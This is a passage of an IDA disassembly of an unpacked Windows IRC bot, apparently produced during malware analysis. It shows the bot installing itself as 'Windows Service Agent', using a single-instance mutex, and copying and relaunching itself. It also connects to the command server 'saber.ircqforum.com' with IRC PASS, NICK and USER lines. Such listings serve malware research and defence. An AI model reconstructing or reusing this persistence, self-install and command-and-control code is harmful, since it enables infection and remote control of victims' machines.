; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 38EBAAFBEF9BB76470D1213DA7483EE6 ; File Name : u:\work\38ebaafbef9bb76470d1213da7483ee6_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 000DB000 ( 897024.) ; Section size in file : 000DB000 ( 897024.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: ___:00401576p ; sub_418857+1Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, offset dword_429050 xor esi, esi mov ebx, offset aWindowsService ; "Windows Service Agent" loc_401013: ; CODE XREF: sub_401000+69j lea eax, [ebp+var_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push dword ptr [edi+4] push dword ptr [edi] call dword_4C92B8 cmp [ebp+arg_0], esi jz short loc_40104D push [ebp+arg_0] call sub_41B960 pop ecx push eax push [ebp+arg_0] push 1 push esi push ebx push [ebp+var_4] call dword_4C9328 jmp short loc_401057 ; --------------------------------------------------------------------------- loc_40104D: ; CODE XREF: sub_401000+2Fj push ebx push [ebp+var_4] call dword_4C9268 loc_401057: ; CODE XREF: sub_401000+4Bj push [ebp+var_4] call dword_4C92E0 add edi, 8 cmp edi, offset dword_429068 jl short loc_401013 pop edi pop esi pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= sub_401070 proc near ; CODE XREF: sub_4010AB+56p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov edx, [esp+arg_0] push esi or esi, 0FFFFFFFFh test eax, eax jz short loc_4010A5 push ebx push edi lea edi, [eax] mov ecx, 0FFh loc_401089: ; CODE XREF: sub_401070+31j mov al, [edx] mov ebx, esi and eax, ecx and ebx, ecx xor eax, ebx shr esi, 8 mov eax, dword_427238[eax*4] xor esi, eax inc edx dec edi jnz short loc_401089 pop edi pop ebx loc_4010A5: ; CODE XREF: sub_401070+Ej mov eax, esi pop esi not eax retn sub_401070 endp ; =============== S U B R O U T I N E ======================================= sub_4010AB proc near ; CODE XREF: ___:0041699Ep var_10 = dword ptr -10h arg_0 = dword ptr 4 push ebx push esi xor ebx, ebx push edi push ebx call sub_41BC9B mov [esp+10h+var_10], offset dword_429068 push [esp+10h+arg_0] mov esi, eax call sub_41BC88 mov edi, eax pop ecx test edi, edi pop ecx jz short loc_4010FA loc_4010D0: ; CODE XREF: sub_4010AB+4Dj test byte ptr [edi+0Ch], 10h jnz short loc_4010FE inc ebx push ebx push esi call sub_41BB48 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_4010FA push edi push 1 lea eax, [esi+ebx-1] push 1 push eax call sub_41BA60 add esp, 10h jmp short loc_4010D0 ; --------------------------------------------------------------------------- loc_4010FA: ; CODE XREF: sub_4010AB+23j ; sub_4010AB+39j xor eax, eax jmp short loc_401119 ; --------------------------------------------------------------------------- loc_4010FE: ; CODE XREF: sub_4010AB+29j dec ebx push ebx push esi call sub_401070 push esi mov ebx, eax call sub_41BA31 push edi call sub_41B9DB add esp, 10h mov eax, ebx loc_401119: ; CODE XREF: sub_4010AB+51j pop edi pop esi pop ebx retn sub_4010AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40111D proc near ; DATA XREF: ___:00401235o var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_158 = byte ptr -158h var_54 = dword ptr -54h var_48 = dword ptr -48h var_28 = dword ptr -28h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 25Ch push ebx push esi push edi push dword_43C24C call dword_4C939C call sub_40B576 call dword_4C925C call dword_4C925C mov ebx, dword_427088 push 64h call ebx xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD10 push 44h lea eax, [ebp+var_54] pop esi push esi push edi push eax call sub_41BD10 add esp, 18h mov [ebp+var_54], esi mov esi, 104h lea eax, [ebp+var_25C] push esi push eax mov [ebp+var_48], offset byte_43B4B8 mov [ebp+var_28], 1 mov [ebp+var_24], di nop call near ptr 2680B09h lea eax, [ebp+var_158] push esi push eax push edi call near ptr 2680000h nop lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax lea eax, [ebp+var_25C] push eax push edi push 28h push 1 push edi lea eax, [ebp+var_158] push edi push eax push edi call near ptr 26703D3h nop test eax, eax jz short loc_4011E2 push 64h call ebx push [ebp+var_10] mov esi, dword_427078 call esi push [ebp+var_C] call esi loc_4011E2: ; CODE XREF: sub_40111D+AFj mov eax, [ebp+arg_8] mov dword ptr [eax+0B0h], offset dword_43B4B0 mov eax, [esp+268h+var_268] mov large fs:0, eax add esp, 8 push edi nop call near ptr 77E75CB5h pop edi pop esi pop ebx loc_401205: ; DATA XREF: ___:00429004o jmp $+5 push 0FFFFh push 539h call sub_418B82 pop ecx mov dword_4C9040, eax pop ecx retn sub_40111D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_40111D push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4270B8 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4C9044, eax call esi push eax call sub_41C058 pop ecx call sub_4098FD push 2 call dword_4C93B0 push 7530h push offset a1221 ; "1221" push ebx push ebx nop call near ptr 26A0000h push eax nop call near ptr 2690F19h cmp eax, 102h jnz short loc_4012A1 push 1 call near ptr 77E75CB5h nop loc_4012A1: ; CODE XREF: ___:00401297j lea eax, [ebp-884h] push eax push 202h call dword_4C9274 cmp eax, ebx jnz loc_4017DE cmp byte ptr [ebp-884h], 2 jnz loc_4017D8 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_4017D8 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax nop call near ptr 2680B09h lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 2690DE0h push eax nop call near ptr 2680000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_41C151 lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset dword_429ACC lea eax, [ebp-5F4h] push esi push eax call sub_41C100 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_41C080 add esp, 30h test eax, eax jnz loc_401513 cmp dword_4C91B0, ebx mov esi, offset byte_429108 jz short loc_401399 push esi xor edi, edi call sub_41B960 sub eax, 4 pop ecx jz short loc_401399 loc_401376: ; CODE XREF: ___:00401397j call sub_41C062 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte_429108[edi], dl inc edi call sub_41B960 sub eax, 4 pop ecx cmp edi, eax jb short loc_401376 loc_401399: ; CODE XREF: ___:00401366j ; ___:00401374j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset dword_429AC4 push eax call sub_41C006 add esp, 10h lea eax, [ebp-1E8h] push eax nop call near ptr 2690D17h cmp eax, 0FFFFFFFFh jz short loc_4013D9 lea eax, [ebp-1E8h] push 80h push eax nop call near ptr 2690C5Ch loc_4013D9: ; CODE XREF: ___:004013C5j mov esi, dword_4270A0 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_4013F0: ; CODE XREF: ___:00401427j call esi test eax, eax jnz short loc_401429 call near ptr 26908A7h nop cmp edi, ebx jnz short loc_401429 cmp eax, 20h jz short loc_40140A cmp eax, 5 jnz short loc_401429 loc_40140A: ; CODE XREF: ___:00401403j push 1 pop edi push 3A98h nop call near ptr 2690000h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_4013F0 ; --------------------------------------------------------------------------- loc_401429: ; CODE XREF: ___:004013F4j ; ___:004013FEj ... lea eax, [ebp-1E8h] push eax call sub_418791 pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 2690C5Ch push 10h lea eax, [ebp-20h] push ebx push eax call sub_41BD10 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_41BD10 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset byte_43B4B8 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 2690849h nop push eax push esi push 100000h nop call near ptr 26902C1h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset dword_429AB8 push eax call sub_41C006 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax call near ptr 26703D3h nop test eax, eax jz short loc_401513 push 0C8h nop call near ptr 2690000h push dword ptr [ebp-20h] mov esi, dword_427078 call esi push dword ptr [ebp-1Ch] call esi call dword_4C925C push ebx call near ptr 77E75CB5h nop loc_401513: ; CODE XREF: ___:00401355j ; ___:004014E9j cmp dword_4D9730, 2 jle short loc_40155F mov eax, dword_4D9734 push dword ptr [eax+4] call sub_41BEF9 pop ecx mov esi, eax push 0FFFFFFFFh push esi nop call near ptr 2690F19h push esi call near ptr 2670000h nop mov eax, dword_4D9734 cmp [eax+8], ebx jz short loc_40155F push 7D0h nop call near ptr 2690000h mov eax, dword_4D9734 push dword ptr [eax+8] nop call near ptr 269023Ch loc_40155F: ; CODE XREF: ___:0040151Aj ; ___:00401544j cmp dword_42908C, ebx jz short loc_40157C cmp dword_4C93D4, ebx jnz short loc_40157C lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_40157C: ; CODE XREF: ___:00401565j ; ___:0040156Dj lea eax, [ebp-0A0h] push offset dword_429A9C push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_40B3AD lea eax, [ebp-0A0h] push eax call sub_415CEE push 0B80h push ebx push offset dword_43B4C0 call sub_41BD10 lea eax, [ebp-0A0h] push offset unk_429A78 push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_40B3AD add esp, 38h mov esi, eax mov edi, dword_42708C lea eax, [ebp-8] push eax push ebx push ebx push offset word_419EEE push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz short loc_40161C nop call near ptr 26908A7h push eax lea eax, [ebp-0A0h] push offset unk_429A38 push eax call sub_41C006 add esp, 0Ch loc_40161C: ; CODE XREF: ___:004015FFj lea eax, [ebp-0A0h] push eax call sub_415CEE push 2 call sub_40B5F5 pop ecx test eax, eax pop ecx jnz short loc_4016A1 lea eax, [ebp-0A0h] push offset dword_429A0C push eax call sub_41C006 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_40B3AD add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_410BBE push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_43C254[esi], eax jnz short loc_401694 nop call near ptr 26908A7h push eax lea eax, [ebp-0A0h] push offset dword_4299D8 push eax call sub_41C006 add esp, 0Ch loc_401694: ; CODE XREF: ___:00401677j lea eax, [ebp-0A0h] push eax call sub_415CEE pop ecx loc_4016A1: ; CODE XREF: ___:00401633j call sub_41C062 push 7Fh and eax, 3 push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4C904C mov dword_4C91B8, eax call sub_41BD70 mov eax, dword_42906C push 3Fh mov edi, offset dword_4C90CC push offset dword_4290D4 push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh mov esi, offset dword_4C910C push offset dword_4290DC push esi call sub_41BD70 add esp, 24h mov dword_4C91A0, ebx loc_4016F6: ; CODE XREF: ___:0040177Ej ; ___:00401789j ... mov [ebp-4], ebx loc_4016F9: ; CODE XREF: ___:00401732j push offset dword_4C9048 mov dword_4C91B4, ebx call sub_4017E7 cmp eax, 2 mov [ebp-10h], eax jz loc_4017D3 cmp dword_4C91B4, ebx jz short loc_401720 dec dword ptr [ebp-4] loc_401720: ; CODE XREF: ___:0040171Bj push 0BB8h call near ptr 2690000h nop inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_4016F9 cmp dword ptr [ebp-10h], 2 jz loc_4017D3 cmp [ebp-0Ch], ebx jz short loc_401783 push 7Fh push offset aSaber_ircqforu ; "saber.ircqforum.com" push offset dword_4C904C call sub_41BD70 mov eax, dword_42906C push 3Fh push offset dword_4290D4 push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh push offset dword_4290DC push esi call sub_41BD70 add esp, 24h mov [ebp-0Ch], ebx jmp loc_4016F6 ; --------------------------------------------------------------------------- loc_401783: ; CODE XREF: ___:00401741j cmp byte_4290E4, bl jz loc_4016F6 push 7Fh push offset byte_4290E4 push offset dword_4C904C call sub_41BD70 mov eax, dword_429070 push 3Fh push offset aFaak ; "#FAAK#" push edi mov dword_4C919C, eax call sub_41BD70 push 3Fh push offset aSaad_ ; "saad." push esi call sub_41BD70 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_4016F6 ; --------------------------------------------------------------------------- loc_4017D3: ; CODE XREF: ___:0040170Fj ; ___:00401738j call sub_40B576 loc_4017D8: ; CODE XREF: ___:004012C2j ; ___:004012D2j call dword_4C925C loc_4017DE: ; CODE XREF: ___:004012B5j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4017E7 proc near ; CODE XREF: ___:00401704p ; DATA XREF: sub_401AC7+658Ao var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_40180C: ; CODE XREF: sub_4017E7+E6j ; sub_4017E7+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_4C9304 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_40A8E4 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_401939 push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_41BD10 push 0 lea eax, [ebp+var_2C] push dword_42909C push dword_429098 push eax call sub_40AE77 mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_43C258 push edi push eax call sub_41BD70 add esp, 28h push 6 push 1 push 2 call dword_4C9384 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_43C24C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4C92AC cmp eax, 0FFFFFFFFh jnz short loc_4018D2 push esi call dword_4C939C call sub_40A90D push 7D0h loc_4018C7: ; CODE XREF: sub_4017E7+146j nop call near ptr 2690000h jmp loc_40180C ; --------------------------------------------------------------------------- loc_4018D2: ; CODE XREF: sub_4017E7+CDj lea eax, [ebp+var_18C] push eax push offset unk_429AD4 call sub_415D62 push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_40194F add esp, 28h mov edi, eax push esi call dword_4C939C test edi, edi jz loc_40180C cmp edi, 1 jnz short loc_40192F push 0DBBA0h jmp short loc_4018C7 ; --------------------------------------------------------------------------- loc_40192F: ; CODE XREF: sub_4017E7+13Fj cmp edi, 2 jz short loc_40193D jmp loc_40180C ; --------------------------------------------------------------------------- loc_401939: ; CODE XREF: sub_4017E7+5Aj xor eax, eax jmp short loc_401949 ; --------------------------------------------------------------------------- loc_40193D: ; CODE XREF: sub_4017E7+14Bj push [ebp+var_34] call sub_40B6C9 pop ecx push 2 pop eax loc_401949: ; CODE XREF: sub_4017E7+154j pop edi pop esi leave retn 4 sub_4017E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40194F proc near ; CODE XREF: sub_4017E7+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_41C2A0 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_40196D: ; CODE XREF: sub_40194F+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_40196D cmp byte_4290D0, bl jz short loc_401994 push offset byte_4290D0 push offset aPassS ; "PASS %s\r\n" push [ebp+arg_0] call sub_40981C add esp, 0Ch loc_401994: ; CODE XREF: sub_40194F+2Ej push [ebp+arg_C] lea eax, [ebp+var_20] push ebx push ebx push 2 push eax call sub_40AE77 add esp, 10h push eax lea eax, [ebp+var_A0] push [ebp+arg_C] push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n" push eax call sub_41C006 add esp, 14h lea eax, [ebp+var_A0] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call dword_4C9354 cmp eax, 0FFFFFFFFh jnz short loc_4019FE push [ebp+arg_0] call dword_4C939C push 1388h nop call near ptr 2690000h loc_4019F7: ; CODE XREF: sub_40194F+D9j ; sub_40194F+153j xor eax, eax loc_4019F9: ; CODE XREF: sub_40194F+173j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4019FE: ; CODE XREF: sub_40194F+92j ; sub_40194F+F8j ... mov esi, 1000h lea eax, [ebp+var_1A90] push esi push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_1A90] push ebx push esi push eax push [ebp+arg_0] call dword_4C931C test eax, eax jle short loc_4019F7 lea eax, [ebp+var_A90] push eax lea eax, [ebp+var_1A90] push eax call sub_41847D pop ecx cmp eax, ebx pop ecx mov [ebp+var_C], eax mov [ebp+var_4], ebx jle short loc_4019FE lea edi, [ebp+var_A90] loc_401A4F: ; CODE XREF: sub_40194F+165j push 1 pop esi loc_401A52: ; CODE XREF: sub_40194F+144j push [ebp+arg_1C] lea eax, [ebp+var_8] push esi push eax lea eax, [ebp+var_140] push eax lea eax, [ebp+var_2C0] push eax push [ebp+arg_18] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push dword ptr [edi] call sub_401AC7 add esp, 2Ch dec eax mov esi, eax cmp esi, ebx jle short loc_401A95 push 7D0h nop call near ptr 2690000h jmp short loc_401A52 ; --------------------------------------------------------------------------- loc_401A95: ; CODE XREF: sub_40194F+137j cmp esi, 0FFFFFFFDh jz short loc_401ABF cmp esi, 0FFFFFFFEh jz short loc_401ABB cmp esi, 0FFFFFFFFh jz loc_4019F7 inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [ebp+var_C] jl short loc_401A4F jmp loc_4019FE ; --------------------------------------------------------------------------- loc_401ABB: ; CODE XREF: sub_40194F+14Ej push 1 jmp short loc_401AC1 ; --------------------------------------------------------------------------- loc_401ABF: ; CODE XREF: sub_40194F+149j push 2 loc_401AC1: ; CODE XREF: sub_40194F+16Ej pop eax jmp loc_4019F9 sub_40194F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AC7 proc near ; CODE XREF: sub_40194F+12Ap var_568C = byte ptr -568Ch var_528C = byte ptr -528Ch var_50FC = byte ptr -50FCh var_4FF8 = byte ptr -4FF8h var_4EF8 = byte ptr -4EF8h var_4CF8 = byte ptr -4CF8h var_4BF8 = byte ptr -4BF8h var_4AF4 = byte ptr -4AF4h var_49F4 = byte ptr -49F4h var_48F0 = byte ptr -48F0h var_47F0 = byte ptr -47F0h var_46F0 = byte ptr -46F0h var_45F0 = byte ptr -45F0h var_458C = byte ptr -458Ch var_448C = byte ptr -448Ch var_438C = byte ptr -438Ch var_428C = byte ptr -428Ch var_408C = byte ptr -408Ch var_3F8C = dword ptr -3F8Ch var_3F88 = byte ptr -3F88h var_3F08 = byte ptr -3F08h var_3E04 = byte ptr -3E04h var_3D00 = dword ptr -3D00h var_3CFC = dword ptr -3CFCh var_3CF8 = dword ptr -3CF8h var_3CF4 = dword ptr -3CF4h var_3CF0 = dword ptr -3CF0h var_3CEC = dword ptr -3CECh var_3CE8 = byte ptr -3CE8h var_3C68 = byte ptr -3C68h var_3BE8 = byte ptr -3BE8h var_3B68 = byte ptr -3B68h var_3AE8 = byte ptr -3AE8h var_3A68 = dword ptr -3A68h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = byte ptr -3A58h var_37D1 = byte ptr -37D1h var_37D0 = byte ptr -37D0h var_36CC = dword ptr -36CCh var_36C4 = dword ptr -36C4h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B0 = dword ptr -36B0h var_36AC = dword ptr -36ACh var_36A8 = byte ptr -36A8h var_3628 = byte ptr -3628h var_35A8 = byte ptr -35A8h var_3528 = byte ptr -3528h var_34A8 = dword ptr -34A8h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = byte ptr -3494h var_3414 = byte ptr -3414h var_3394 = byte ptr -3394h var_3314 = byte ptr -3314h var_3294 = dword ptr -3294h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = byte ptr -3280h var_3200 = byte ptr -3200h var_3180 = byte ptr -3180h var_3100 = byte ptr -3100h var_3080 = dword ptr -3080h var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = byte ptr -306Ch var_2FEC = byte ptr -2FECh var_2F6C = byte ptr -2F6Ch var_2EEC = byte ptr -2EECh var_2E6C = dword ptr -2E6Ch var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = byte ptr -2E5Ch var_2D58 = dword ptr -2D58h var_2D54 = byte ptr -2D54h var_2C50 = byte ptr -2C50h var_2B4C = dword ptr -2B4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = byte ptr -2B40h var_2AC0 = dword ptr -2AC0h var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AAC = byte ptr -2AACh var_2994 = byte ptr -2994h var_2914 = dword ptr -2914h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = byte ptr -28FCh var_287C = byte ptr -287Ch var_277C = byte ptr -277Ch var_267C = dword ptr -267Ch var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = byte ptr -2654h var_25D4 = byte ptr -25D4h var_24D4 = byte ptr -24D4h var_23D4 = dword ptr -23D4h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = byte ptr -23ACh var_232C = byte ptr -232Ch var_22AC = byte ptr -22ACh var_222C = dword ptr -222Ch var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = byte ptr -2218h var_2198 = byte ptr -2198h var_2118 = byte ptr -2118h var_2098 = dword ptr -2098h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = byte ptr -2084h var_2004 = byte ptr -2004h var_1F84 = byte ptr -1F84h var_1F04 = dword ptr -1F04h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = byte ptr -1EF0h var_1DF0 = byte ptr -1DF0h var_1D70 = dword ptr -1D70h var_1D68 = dword ptr -1D68h var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D4C = byte ptr -1D4Ch var_1D38 = byte ptr -1D38h var_1C34 = byte ptr -1C34h var_1BB0 = dword ptr -1BB0h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B98 = byte ptr -1B98h var_1B84 = byte ptr -1B84h var_1A80 = byte ptr -1A80h var_1A00 = dword ptr -1A00h var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = byte ptr -19E8h var_1968 = byte ptr -1968h var_1928 = byte ptr -1928h var_1828 = dword ptr -1828h var_1824 = dword ptr -1824h var_1818 = dword ptr -1818h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = byte ptr -180Ch var_17D4 = byte ptr -17D4h var_17B8 = byte ptr -17B8h var_1780 = byte ptr -1780h var_177C = byte ptr -177Ch var_16FC = byte ptr -16FCh var_16BC = byte ptr -16BCh var_162C = dword ptr -162Ch var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = byte ptr -1618h var_1598 = byte ptr -1598h var_1518 = dword ptr -1518h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = byte ptr -1508h var_14F8 = byte ptr -14F8h var_1478 = byte ptr -1478h var_13F8 = dword ptr -13F8h var_13F0 = dword ptr -13F0h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = byte ptr -13D8h var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword 